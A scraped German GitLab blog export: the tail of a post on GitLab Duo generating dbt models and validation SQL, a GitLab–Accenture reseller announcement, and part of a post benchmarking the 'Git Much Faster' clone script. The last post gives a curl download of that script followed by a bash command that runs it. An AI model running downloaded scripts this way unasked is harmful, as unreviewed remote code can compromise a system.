**Die CSV-Eingabedatei las und analysierte**\n\n2. **Tabellenstrukturen aus den Metadaten untersuchte**\n\n3. **Unseren dbt-Style-Guide als Referenz für Coding-Standards nutzte**\n\n4. **Ähnliche Merge Requests berücksichtigte** für die korrekte Strukturierung\n\n5. **Quellmodelle für alle 13 Tabellen generierte**\n\n6. **Workspace-Modelle für alle 13 Tabellen erstellte**\n\n7. **Unterstützende dbt-Dateien generierte**:\n\n   * `sources.yml`-Konfiguration\n   * `schema.yml`-Dateien mit Tests und Dokumentation\n   * Aktualisierte `dbt_project.yml` mit Schema-Referenzen\n\n## Die Ergebnisse\n\n\nDie Ausgabe war bemerkenswert:\n\n\n* **1 modifizierte Datei:** dbt_project.yml (reddit_ads Schema-Konfiguration hinzugefügt)\n\n* **29 neue Dateien:**\n\n  * **26 dbt-Modelle** (13 Quell- + 13 Workspace-Modelle)\n  * **3 YAML-Dateien**\n* **Fast 900 Zeilen Code** automatisch generiert\n\n* **Integrierte Daten-Tests,** einschließlich Unique-Constraints auf Primärschlüssel-Spalten\n\n* **Generische Beschreibungen** für alle Modelle und Spalten\n\n* **Saubere Deduplizierungs-Logik** in Quellmodellen\n\n* **Saubere, konsistente Code-Struktur** gemäß dem GitLab dbt-Style-Guide\n\n\n```yaml\n\ntransform/snowflake-dbt/\n\n├── dbt_project.yml                                                    [MODIFIZIERT]\n\n└── models/\n    ├── sources/\n    │   └── reddit_ads/\n    │       ├── reddit_ads_ad_group_source.sql                        [NEU]\n    │       ├── reddit_ads_ad_source.sql                              [NEU]\n    │       ├── reddit_ads_business_account_source.sql                [NEU]\n    │       ├── reddit_ads_campaign_source.sql                        [NEU]\n    │       ├── reddit_ads_custom_audience_history_source.sql         [NEU]\n    │       ├── reddit_ads_geolocation_source.sql                     [NEU]\n    │       ├── reddit_ads_interest_source.sql                        [NEU]\n    │       ├── reddit_ads_targeting_community_source.sql             [NEU]\n    │       ├── reddit_ads_targeting_custom_audience_source.sql       [NEU]\n    │       ├── reddit_ads_targeting_device_source.sql                [NEU]\n    │       ├── reddit_ads_targeting_geolocation_source.sql           [NEU]\n    │       ├── reddit_ads_targeting_interest_source.sql              [NEU]\n    │       ├── reddit_ads_time_zone_source.sql                       [NEU]\n    │       ├── schema.yml                                            [NEU]\n    │       └── sources.yml                                           [NEU]\n    └── workspaces/\n        └── workspace_marketing/\n            └── reddit_ads/\n                ├── schema.yml                                        [NEU]\n                ├── wk_reddit_ads_ad.sql                              [NEU]\n                ├── wk_reddit_ads_ad_group.sql                        [NEU]\n                ├── wk_reddit_ads_business_account.sql                [NEU]\n                ├── wk_reddit_ads_campaign.sql                        [NEU]\n                ├── wk_reddit_ads_custom_audience_history.sql         [NEU]\n                ├── wk_reddit_ads_geolocation.sql                     [NEU]\n                ├── wk_reddit_ads_interest.sql                        [NEU]\n                ├── wk_reddit_ads_targeting_community.sql             [NEU]\n                ├── wk_reddit_ads_targeting_custom_audience.sql       [NEU]\n                ├── wk_reddit_ads_targeting_device.sql                [NEU]\n                ├── wk_reddit_ads_targeting_geolocation.sql           [NEU]\n                ├── wk_reddit_ads_targeting_interest.sql              [NEU]\n                └── wk_reddit_ads_time_zone.sql                       [NEU]\n```\n\n\n### Beispiel des generierten Codes\n\n\nHier ist ein Beispiel für die Qualität des generierten Codes. Für die `time_zone`-Tabelle erstellte GitLab Duo:\n\n\n**Prep-Ebene Quellmodell**\n\n\n```sql\n\nWITH source AS (\n  SELECT *\n  FROM {{ source('reddit_ads','time_zone') }}\n  QUALIFY ROW_NUMBER() OVER (PARTITION BY id ORDER BY _fivetran_synced DESC) = 1\n),\n\n\nrenamed AS (\n  SELECT\n    id::VARCHAR                               AS time_zone_id,\n    code::VARCHAR                             AS time_zone_code,\n    dst_offset::NUMBER                        AS time_zone_dst_offset,\n    is_dst_active::BOOLEAN                    AS is_time_zone_dst_active,\n    name::VARCHAR                             AS time_zone_name,\n    offset::NUMBER                            AS time_zone_offset,\n    _fivetran_synced::TIMESTAMP               AS fivetran_synced_at\n  FROM source\n)\n\n\nSELECT * FROM renamed\n\n```\n\n\n**Schema.yml**\n\n\n```yaml\n\nmodels:\n  - name: reddit_ads_time_zone_source\n    description: Zeitzonendaten aus dem Reddit Ads-System\n    columns:\n      - name: time_zone_id\n        description: Eindeutige Kennung für Zeitzoneneinträge\n        data_tests:\n          - unique\n          - not_null\n      - name: time_zone_code\n        description: Code für die Zeitzone\n      - name: time_zone_dst_offset\n        description: Sommerzeitverschiebung für die Zeitzone\n      - name: is_time_zone_dst_active\n        description: Flag, das angibt, ob Sommerzeit aktiv ist\n      - name: time_zone_name\n        description: Name der Zeitzone\n      - name: time_zone_offset\n        description: Verschiebung für die Zeitzone\n      - name: fivetran_synced_at\n        description: Zeitstempel, wann der Datensatz zuletzt von Fivetran synchronisiert wurde\n```\n\n\n**Source.yml**\n\n\n```yaml\n\nsources:\n  - name: reddit_ads\n    database: RAW\n    schema: reddit_ads\n    loaded_at_field: _fivetran_synced\n    loader: fivetran\n    description: Reddit Ads-Daten\n\n    quoting:\n      database: true\n      schema: false\n      identifier: false\n\n    tables:\n      - name: time_zone\n```\n\n\n**Workspace-Modell**\n\n\n```sql\n\nWITH source AS (\n  SELECT *\n  FROM {{ ref('reddit_ads_time_zone_source') }}\n)\n\n\nSELECT * FROM source\n\n```\n\n\n## 5. Qualitätsvalidierung\n\n\nNachdem der Code gut aussah, habe ich ihn zum MR gepusht und die [CI-Test-Pipeline](https://handbook.gitlab.com/handbook/enterprise-data/platform/ci-jobs/#build_changes) ausgeführt, um den Code zu testen und das Ergebnis zu validieren. Ich bat GitLab Duo, eine Validierungsabfrage zu erstellen:\n\n\n```yaml\n\nCreate a test query to test the row counts between the raw layer and the workspace layer. Keep in mind that we do deduplication, so we can compare both using distinct on the primary keys.\n\n```\n\n\nDie KI generierte eine umfassende Validierungsabfrage, die:\n\n\n* Zeilenanzahlen zwischen raw- und workspace-Ebenen verglich\n\n* Die Deduplizierungs-Logik berücksichtigte\n\n* Alle 13 Tabellen testete\n\n* Datenerhaltungsprozentsätze berechnete\n\n\n\u003Cdetails>\n\n\u003Csummary>Generierte SQL-Test-Abfrage\u003C/summary>\n\n\n```sql\n\n-- Reddit Ads Zeilenanzahl-Validierungstest\n\n-- Vergleicht eindeutige Zählungen zwischen RAW-Ebene und WORKSPACE_MARKETING-Ebene\n\n-- Berücksichtigt Deduplizierungs-Logik in Quellmodellen\n\n\nWITH raw_counts AS (\n  -- Tabellen mit einzelnem Primärschlüssel\n  SELECT 'ad' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.AD\n  \n  UNION ALL\n  \n  SELECT 'business_account' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.BUSINESS_ACCOUNT\n  \n  UNION ALL\n  \n  SELECT 'campaign' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.CAMPAIGN\n  \n  UNION ALL\n  \n  SELECT 'custom_audience_history' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.CUSTOM_AUDIENCE_HISTORY\n  \n  UNION ALL\n  \n  SELECT 'geolocation' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.GEOLOCATION\n  \n  UNION ALL\n  \n  SELECT 'interest' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.INTEREST\n  \n  UNION ALL\n  \n  SELECT 'time_zone' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.TIME_ZONE\n  \n  -- Tabellen mit zusammengesetzten Primärschlüsseln\n  UNION ALL\n  \n  SELECT 'ad_group' AS table_name, COUNT(DISTINCT CONCAT(account_id, '|', id)) AS raw_count\n  FROM RAW.REDDIT_ADS.AD_GROUP\n  \n  UNION ALL\n  \n  SELECT 'targeting_community' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', community_id)) AS raw_count\n  FROM RAW.REDDIT_ADS.TARGETING_COMMUNITY\n  \n  UNION ALL\n  \n  SELECT 'targeting_custom_audience' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', custom_audience_id)) AS raw_count\n  FROM RAW.REDDIT_ADS.TARGETING_CUSTOM_AUDIENCE\n  \n  UNION ALL\n  \n  SELECT 'targeting_device' AS table_name, COUNT(DISTINCT _fivetran_id) AS raw_count\n  FROM RAW.REDDIT_ADS.TARGETING_DEVICE\n  \n  UNION ALL\n  \n  SELECT 'targeting_geolocation' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', geolocation_id)) AS raw_count\n  FROM RAW.REDDIT_ADS.TARGETING_GEOLOCATION\n  \n  UNION ALL\n  \n  SELECT 'targeting_interest' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', interest_id)) AS raw_count\n  FROM RAW.REDDIT_ADS.TARGETING_INTEREST\n),\n\n\nworkspace_counts AS (\n  -- Workspace-Ebene zählt unter Verwendung von Primärschlüsseln aus schema.yml\n  SELECT 'ad' AS table_name, COUNT(DISTINCT ad_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_AD\n  \n  UNION ALL\n  \n  SELECT 'business_account' AS table_name, COUNT(DISTINCT business_account_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_BUSINESS_ACCOUNT\n  \n  UNION ALL\n  \n  SELECT 'campaign' AS table_name, COUNT(DISTINCT campaign_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_CAMPAIGN\n  \n  UNION ALL\n  \n  SELECT 'custom_audience_history' AS table_name, COUNT(DISTINCT custom_audience_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_CUSTOM_AUDIENCE_HISTORY\n  \n  UNION ALL\n  \n  SELECT 'geolocation' AS table_name, COUNT(DISTINCT geolocation_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_GEOLOCATION\n  \n  UNION ALL\n  \n  SELECT 'interest' AS table_name, COUNT(DISTINCT interest_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_INTEREST\n  \n  UNION ALL\n  \n  SELECT 'time_zone' AS table_name, COUNT(DISTINCT time_zone_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TIME_ZONE\n  \n  -- Tabellen mit zusammengesetzten Primärschlüsseln\n  UNION ALL\n  \n  SELECT 'ad_group' AS table_name, COUNT(DISTINCT CONCAT(ad_group_account_id, '|', ad_group_id)) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_AD_GROUP\n  \n  UNION ALL\n  \n  SELECT 'targeting_community' AS table_name, COUNT(DISTINCT CONCAT(targeting_community_ad_group_id, '|', targeting_community_id)) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_COMMUNITY\n  \n  UNION ALL\n  \n  SELECT 'targeting_custom_audience' AS table_name, COUNT(DISTINCT CONCAT(targeting_custom_audience_ad_group_id, '|', targeting_custom_audience_id)) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_CUSTOM_AUDIENCE\n  \n  UNION ALL\n  \n  SELECT 'targeting_device' AS table_name, COUNT(DISTINCT targeting_device_fivetran_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_DEVICE\n  \n  UNION ALL\n  \n  SELECT 'targeting_geolocation' AS table_name, COUNT(DISTINCT CONCAT(targeting_geolocation_ad_group_id, '|', targeting_geolocation_id)) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_GEOLOCATION\n  \n  UNION ALL\n  \n  SELECT 'targeting_interest' AS table_name, COUNT(DISTINCT CONCAT(targeting_interest_ad_group_id, '|', targeting_interest_id)) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_INTEREST\n)\n\n\n-- Abschließender Vergleich mit Validierungsergebnissen\n\nSELECT \n  r.table_name,\n  r.raw_count,\n  w.workspace_count,\n  r.raw_count - w.workspace_count AS count_difference,\n  CASE \n    WHEN r.raw_count = w.workspace_count THEN '✅ BESTANDEN'\n    WHEN r.raw_count > w.workspace_count THEN '⚠️ RAW > WORKSPACE (Erwartet durch Deduplizierung)'\n    ELSE '❌ FEHLGESCHLAGEN - WORKSPACE > RAW (Unerwartet)'\n  END AS validation_status,\n  ROUND((w.workspace_count::FLOAT / r.raw_count::FLOAT) * 100, 2) AS data_retention_percentage\nFROM raw_counts r\n\nJOIN workspace_counts w ON r.table_name = w.table_name\n\nORDER BY r.table_name;\n\n```\n\n\n\u003C/details>\n\n\n![Tabelle mit Abfrageergebnissen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758030995/guicjhzwvrz3czwjs3xo.png)\n\n\nDie Ausführung dieser Abfrage zeigte:\n\n\n* **Null Unterschiede** in der Zeilenanzahl nach Deduplizierung\n\n* **100% Datenerhaltung** über alle Tabellen hinweg\n\n* **Alle Tests erfolgreich bestanden**\n\n\n## Das Fazit: Massive Zeitersparnis\n\n\n* **Traditioneller Ansatz:** 6-8 Stunden manuelles Programmieren, Testen und Debugging\n\n* **GitLab Duo-Ansatz:** 6-8 Minuten Generierung + Überprüfungszeit\n\n\nDies bedeutet eine 60-fache Verbesserung der Entwicklereffizienz (von 6-8 Stunden auf 6-8 Minuten) bei gleichbleibend hoher Codequalität.\n\n\n## Best Practices für den Erfolg\n\n\nBasierend auf dieser Erfahrung sind hier die wichtigsten Empfehlungen:\n\n\n### Bereite deine Metadaten vor\n\n\n* Extrahiere vollständige Tabellenstrukturen einschließlich Datentypen und Einschränkungen\n\n* Identifiziere Primärschlüssel und Beziehungen im Voraus\n\n* Exportiere saubere, gut formatierte CSV-Eingabedateien\n\n\n**Hinweis:** Durch die Verbindung von GitLab Duo über MCP mit deinen (Meta-)Daten könntest du diesen manuellen Schritt ausschließen.\n\n\n### Biete klaren Kontext\n\n\n* Referenziere nach Möglichkeit bestehende Beispiel-MRs\n\n* Spezifiziere deine Codierungsstandards und Style Guides\n\n* Sei explizit bei Ordnerstruktur und Namenskonventionen\n\n\n### Validiere gründlich\n\n\n* Erstelle immer Validierungsabfragen für die Datenintegrität\n\n* Teste lokal vor dem Mergen\n\n* Führe deine CI/CD-Pipeline aus, um Probleme zu erkennen\n\n\n### Nutze KI für Folgeaufgaben\n\n\n* Generiere Testabfragen automatisch\n\n* Erstelle Dokumentationsvorlagen\n\n* Baue Validierungsskripte\n\n\n## Was kommt als Nächstes\n\n\nDiese Demonstration zeigt, wie KI-gestützte Entwicklungstools wie GitLab Duo auch Data-Engineering-Workflows transformieren. Die Fähigkeit, Hunderte von Zeilen produktionsreifem Code in Minuten zu generieren – komplett mit Tests, Dokumentation und ordnungsgemäßer Struktur – stellt einen fundamentalen Wandel dar, wie wir an repetitive Entwicklungsaufgaben herangehen.\n\n\nIndem wir KI nutzen, um die repetitiven Aspekte der dbt-Modellerstellung zu bewältigen, können sich Dateningenieure auf Aktivitäten mit höherem Wert konzentrieren, wie Datenmodellierungsstrategie, Performance-Optimierung und Implementierung von Geschäftslogik.\n\n\n**Bereit, es selbst auszuprobieren?** Beginne mit einem kleinen Datensatz, bereite deine Metadaten sorgfältig vor und sieh zu, wie GitLab Duo Stunden an Arbeit in Minuten automatisierter Generierung verwandelt.\n\n\n> [Teste GitLab Duo Agent Platform noch heute.](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/)\n\n\n## Weiterlesen\n\n\n* [GitLab 18.3: KI-Orchestrierung im Software Engineering erweitern](https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/)\n\n* [GitLab Duo Agent Platform Public Beta: Next-Gen KI-Orchestrierung und mehr](https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/)\n",{"slug":809,"featured":92,"template":682},"how-gitlab-duo-agent-platform-transforms-dataops","content:de-de:blog:how-gitlab-duo-agent-platform-transforms-dataops.yml","How Gitlab Duo Agent Platform Transforms Dataops","de-de/blog/how-gitlab-duo-agent-platform-transforms-dataops.yml","de-de/blog/how-gitlab-duo-agent-platform-transforms-dataops",{"_path":815,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":816,"content":821,"config":830,"_id":832,"_type":16,"title":833,"_source":17,"_file":834,"_stem":835,"_extension":20},"/de-de/blog/gitlab-and-accenture-announce-global-reseller-agreement",{"config":817,"title":818,"description":819,"ogImage":820},{"noIndex":6},"GitLab und Accenture: Globale Vertriebsvereinbarung","Neue Vereinbarung ermöglicht Accenture das Angebot der umfassenden DevSecOps-Plattform von GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1751568278/bots3gyfarx8qysbkw6c.png",{"date":822,"category":723,"tags":823,"body":824,"authors":825,"title":827,"description":828,"heroImage":829},"2025-09-15",[723,680,787],"Wir freuen uns bekannt zu geben, dass GitLab und Accenture eine globale Vertriebsvereinbarung unterzeichnet haben, die Accenture als autorisierten GitLab-Vertriebspartner und Professional Services Provider etabliert. Diese Vereinbarung ermöglicht es Accenture, die vollständige DevSecOps-Plattform von GitLab direkt an Kunden über verschiedene Vertriebskanäle zu liefern, einschließlich des AWS Marketplace.\n\n## Ein Meilenstein in der Zusammenarbeit\n\nDiese Zusammenarbeit kombiniert die umfassende, intelligente DevSecOps-Plattform von GitLab mit Accentures weitreichender Expertise in digitaler Transformation und Implementierungsdienstleistungen. Dies ermöglicht Organisationen, sichere Software in großem Maßstab zu entwickeln und bereitzustellen. Die globale Vertriebsvereinbarung bietet einen weltweiten Rahmen, der flexibel an lokale Bedingungen angepasst werden kann.\n\n## Die Zusammenarbeit wird sich zunächst auf mehrere Schlüsselbereiche konzentrieren:\n\n**DevSecOps-Transformation im Unternehmensmaßstab:** \nUnterstützung von Organisationen bei der Modernisierung ihrer Entwicklungspraktiken und Optimierung ihres Software-Bereitstellungszyklus.\n\n**Mainframe-Modernisierung:**\nBegleitung von Kunden bei der Migration von Legacy-Systemen.\n\n**GitLab Duo mit Amazon Q:**\nBereitstellung von KI-gestützter Softwareentwicklung für Organisationen, die ihre Entwicklungsgeschwindigkeit beschleunigen und gleichzeitig durchgängige Sicherheit und Compliance gewährleisten möchten.\n\n## Ausblick\n\nWir freuen uns darauf, unseren gemeinsamen Kunden dabei zu helfen, Innovationen zu beschleunigen, Entwicklungsprozesse zu optimieren und ihre Sicherheitslage zu stärken, um ihre Geschäftsziele effektiver zu erreichen.\n\nFür weitere Informationen darüber, wie GitLab und Accenture Organisationen helfen können, besuche bitte [unsere Partner-Website](https://about.gitlab.com/partners/channel-partners/#/2328213) oder kontaktiere deinen Accenture- oder GitLab-Ansprechpartner.",[826],"GitLab","GitLab und Accenture geben globale Vertriebsvereinbarung bekannt","Die neue Vereinbarung ermöglicht es Accenture, die umfassende DevSecOps-Plattform von GitLab zu vertreiben.","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1751568278/bots3gyfarx8qysbkw6c.png",{"featured":6,"template":682,"slug":831},"gitlab-and-accenture-announce-global-reseller-agreement","content:de-de:blog:gitlab-and-accenture-announce-global-reseller-agreement.yml","Gitlab And Accenture Announce Global Reseller Agreement","de-de/blog/gitlab-and-accenture-announce-global-reseller-agreement.yml","de-de/blog/gitlab-and-accenture-announce-global-reseller-agreement",{"_path":837,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":838,"content":841,"config":852,"_id":854,"_type":16,"title":855,"_source":17,"_file":856,"_stem":857,"_extension":20},"/de-de/blog/supercharge-your-git-workflows",{"title":839,"description":840},"Git-Workflows systematisch optimieren","Git clone-Operationen optimieren – bis zu 93% weniger Clone-Zeit und 98% weniger Speicherplatzbedarf mit dem Git Much Faster Script.",{"title":839,"description":842,"authors":843,"heroImage":845,"date":846,"category":847,"tags":848,"body":851},"Git clone-Operationen optimieren – bis zu 93 % weniger Clone-Zeit und 98 % weniger Speicherplatzbedarf.",[844],"Darwin Sanoy","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098264/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_519147119_2RafH61mqosMZv8HGAlsUj_1750098264407.jpg","2025-09-10","engineering",[767,849,850],"git","performance","**7 Minuten Lesezeit**\n\n\n## Der Geschäftsfall: Was Git-Performance kostet\n\n\nStellen wir uns vor: Arbeit am Chromium-Projekt, das Repository muss geklont werden. `git clone` starten, einen Kaffee holen, E-Mails checken, vielleicht eine Mittagspause – und 95 Minuten später ist endlich das Arbeitsverzeichnis da. Das ist die Realität für Entwickler, die mit großen Repositories von 50 GB+ arbeiten.\n\n\nDie Produktivitätsauswirkungen sind erheblich: CI/CD-Pipelines kommen zum Erliegen während sie auf Repository-Klone warten. Infrastrukturkosten steigen, da Compute-Ressourcen untätig bleiben. Entwickler-Frustration wächst, während Context-Switching zur Norm wird. Das Problem zeigt sich überall: Embedded-Teams erben Repositories mit Legacy-Firmware und Vendor-SDKs. Web-Anwendungen akkumulieren Marketing-Assets. Game-Development-Projekte enthalten 3D-Modelle und Audio-Dateien – Repository-Größen erreichen Dutzende von Gigabytes.\n\n\nEnterprise-CI/CD-Pipelines leiden besonders: Jeder Job braucht frische Repository-Klone. Bei 20-90 Minuten Operationszeit erliegen ganze Entwicklungsworkflows. Infrastrukturkosten steigen durch untätige Compute-Ressourcen.\n\n\n## 8-60x schneller – je nach Repository-Größe:\n\n\n[Git Much Faster](https://gitlab.com/gitlab-accelerates-embedded/misc/git-much-faster) demonstriert dramatische Verbesserungen durch rigoroses Benchmarking über reale Repositories mit konsistenter AWS-Infrastruktur:\n\n\n**Linux-Kernel-Repository (7,5 GB total):** Standard clone dauerte 6 Minuten 29 Sekunden. Optimized clone erreichte 46,28 Sekunden – eine 88,1%ige Verbesserung, wodurch das .git-Verzeichnis von 5,9 GB auf 284 MB reduziert wurde.\n\n\n**Chromium-Repository (60,9 GB total):** Standard clone benötigte 95 Minuten 12 Sekunden. Optimized clone erreichte 6 Minuten 41 Sekunden – eine beeindruckende 93%ige Verbesserung, wodurch das .git-Verzeichnis von 55,7 GB auf 850 MB komprimiert wurde.\n\n\n**GitLab-Website-Repository (8,9 GB total):** Standard clone dauerte 6 Minuten 23 Sekunden. Optimized clone erreichte 6,49 Sekunden – eine bemerkenswerte 98,3%ige Verbesserung, wodurch das .git-Verzeichnis auf 37 MB reduziert wurde.\n\n\nDie Benchmark-Daten zeigen klare Muster: Größere Repositories zeigen dramatischere Verbesserungen, binär-lastige Repositories profitieren am meisten von intelligenten Filtern, und optimierte Ansätze übertreffen konsistent sowohl standard Git als auch Gits eigenes Scalar-Tool.\n\n\n## Kosteneinsparungen für die gesamte Infrastruktur\n\n\nGit clone-Optimierung reduziert auch die Systembelastung durch kleinere Anfragegrößen. GitLabs [Gitaly Cluster](https://docs.gitlab.com/administration/gitaly/praefect/) profitiert direkt: Weniger server-seitige \"pack file\"-Erstellung bedeutet niedrigere Memory-, CPU- und I/O-Anforderungen. Der gesamte Stack wird schneller und günstiger.\n\n\nDiese Infrastructure-Einsparungen multiplizieren sich in Enterprise-Umgebungen: Reduzierte Dimensionierung der Git-Server, weniger Netzwerk-Overhead, optimierte Storage-Nutzung. Alle Schichten profitieren gleichzeitig.\n\n\n## Typische Enterprise-Anwendungsfälle\n\n\n**Embedded Development:** Legacy-Firmware, FPGA-Bitstreams, PCB-Layouts treiben Repository-Größen hoch. Build-Prozesse klonen oft Dutzende externe Repositories, multiplizieren die Performance-Auswirkungen.\n\n\n**Enterprise-Monorepos:** Mehrere Projekte, akkumulierte Historie. Media-Assets verstärken das Problem – Web-Apps mit Marketing-Assets, Games mit 3D-Modellen über 100 GB.\n\n\n**CI/CD-Pipelines:** Jeder Job braucht frische Klone. Bei 20-90 Minuten werden Workflows unbrauchbar. Hier zeigen sich die größten Produktivitätsgewinne.\n\n\n**Verteilte Teams:** Limitierte Netzwerk-Performance zu Development-Workstations profitiert von reduzierten Over-the-Wire-Größen.\n\n\n- - -\n\n\n## Die technische Umsetzung: Wie es funktioniert\n\n\nGit Much Faster ist ein Script, das ich als Enablement-Tool entwickelt habe, um verschiedene Clone-Optimierungsansätze auf demselben Client zu benchmarken – ob Entwickler-Workstation, CI, Cloud-Umgebungen oder GitOps-Klone. Es enthält kuratierte Konfigurationen für schnellste Clone-Optimierung, die sich als Ausgangspunkt nutzen lassen.\n\n\nDie Lösung adressiert die grundlegende Herausforderung: Gits Standard-Clone-Verhalten priorisiert Sicherheit über Geschwindigkeit. Bei großen Codebasen, Binär-Assets oder Monorepo-Strukturen wird das zum erheblichen Engpass.\n\n\n## Vier Benchmark-Strategien im Vergleich\n\n\nGit Much Faster löst dies durch umfassendes Benchmarking, das vier verschiedene Strategien vergleicht: standard git clone (Baseline mit vollständiger Historie), optimized git clone (custom Konfigurationen mit deaktivierter Kompression und sparse checkout), Gits Scalar clone (integriertes partial cloning) und current directory assessment (Analyse bestehender Repositories ohne erneutes Klonen).\n\n\nDas Tool bietet messbare, wiederholbare Benchmarks in kontrollierten AWS-Umgebungen. Die wahre Stärke: alle Benchmarks lassen sich in der spezifischen Umgebung ausführen – auch bei langsamen Netzwerkverbindungen findet sich die optimale Clone-Strategie.\n\n\n## Zwei Schlüssel-Konfigurationen für 93% Zeitersparnis\n\n\nDie bedeutendsten Gewinne stammen aus zwei Optimierungen:\n\n\n**Erste Optimierung – `core.compression=0`:** Eliminiert CPU-intensive Kompression während Netzwerkoperationen. Bei modernen Hochgeschwindigkeitsnetzwerken überschreiten CPU-Zyklen oft die Bandbreiteneinsparungen. Allein diese Optimierung reduziert Clone-Zeiten um 40%–60%.\n\n\n**Zweite Optimierung – `http.postBuffer=1024M`:** Erhöht Gits konservative HTTP-Buffer-Größe. Große Repositories profitieren enorm – Git kann größere Operationen handhaben ohne Aufteilen in mehrere Requests.\n\n\nZusätzlich nutzt Git Much Faster shallow clones (`--depth=1`) und partial clones (`--filter=blob:none`). Shallow clones reduzieren Daten um 70%–90%, partial clones helfen bei Repositories mit großen Binär-Assets. Sparse checkout kontrolliert ausgecheckte Dateien chirurgisch präzise – 30+ Binärdateitypen werden ausgeschlossen, Working-Directory-Größe sinkt um 78%.\n\n\nGits Scalar-Tool kombiniert partial clone, sparse checkout und Background-Wartung. Tests zeigen jedoch: Der custom optimized approach übertrifft Scalar um 48%–67% bei ähnlichen Disk-Space-Einsparungen.\n\n\n## Sofortige Implementierung in drei Schritten\n\n\nDie Implementierung erfordert das Verständnis, wann welche Technik basierend auf Use Case und Risikotoleranz anzuwenden ist. Für Development, das vollständigen Repository-Zugang erfordert: standard Git cloning nutzen. Für read-heavy Workflows, die schnellen Zugang zu aktuellem Code benötigen: optimized cloning einsetzen. Für CI/CD-Pipelines, wo Geschwindigkeit paramount ist: optimized cloning bietet maximalen Nutzen.\n\n\nDer Einstieg erfordert nur einfachen Download und Ausführung:\n\n\n```bash\n\ncurl -L https://gitlab.com/gitlab-accelerates-embedded/misc/git-much-faster/-/raw/master/git-much-faster.sh -o ./git-much-faster.sh\n\n\n\n# Für Benchmarking\n\n\nbash ./git-much-faster.sh --methods=optimized,standard --repo=https://github.com/your-org/your-repo.git\n\n```\n\n\nFür production-grade Testing enthält das Git Much Faster-Projekt komplette Terraform-Infrastruktur für AWS-Deployment, wodurch sich Variablen eliminieren lassen, die lokale Testergebnisse verzerren.\n\n\n## Wichtige Einschränkungen beachten\n\n\nOptimized clones haben Limitierungen: Shallow clones verhindern Zugang zu historischen Commits. Lösung: Entwickler starten optimized, konvertieren bei Bedarf via `git fetch --unshallow` zu full clones. CI-Jobs mit Commit-Historie-Zugriff brauchen möglicherweise vollständige Historie.\n\n\n- - -\n\n\n## Transformative Ergebnisse für deutsche Teams\n\n\nGit clone-Optimierung liefert messbare Verbesserungen – bis zu 93% weniger Clone-Zeit, 98% weniger Disk-Space-Usage. Gits konservativer Standard-Ansatz lässt erhebliche Performance-Gelegenheiten ungenutzt.\n\n\n**Für deutsche Entwicklungsteams:** Reduzierte CI/CD-Wartezeiten steigern tägliche Produktivität, geringere Infrastrukturkosten ermöglichen relevante Kosteneinsparungen in Enterprise-Umgebungen.\n\n\n[Einfach starten mit dem Git Much Faster Repository](https://gitlab.com/gitlab-accelerates-embedded/misc/git-much-faster) – read-only Optimierung in CI/CD-Pipelines beginnen, schrittweise auf Development-Workflows erweitern basierend auf gemessenen Ergebnissen.\n",{"slug":853,"template":682},"supercharge-your-git-workflows","content:de-de:blog:supercharge-your-git-workflows.yml","Supercharge Your Git Workflows","de-de/blog/supercharge-your-git-workflows.yml","de-de/blog/supercharge-your-git-workflows",{"_path":859,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":860,"content":864,"config":872,"_id":874,"_type":16,"title":875,"_source":17,"_file":876,"_stem":877,"_extension":20},"/de-de/blog/a-developers-guide-to-building-secure-retail-apps-with-gitlab",{"config":861,"title":862,"description":863},{"noIndex":6},"Leitfaden 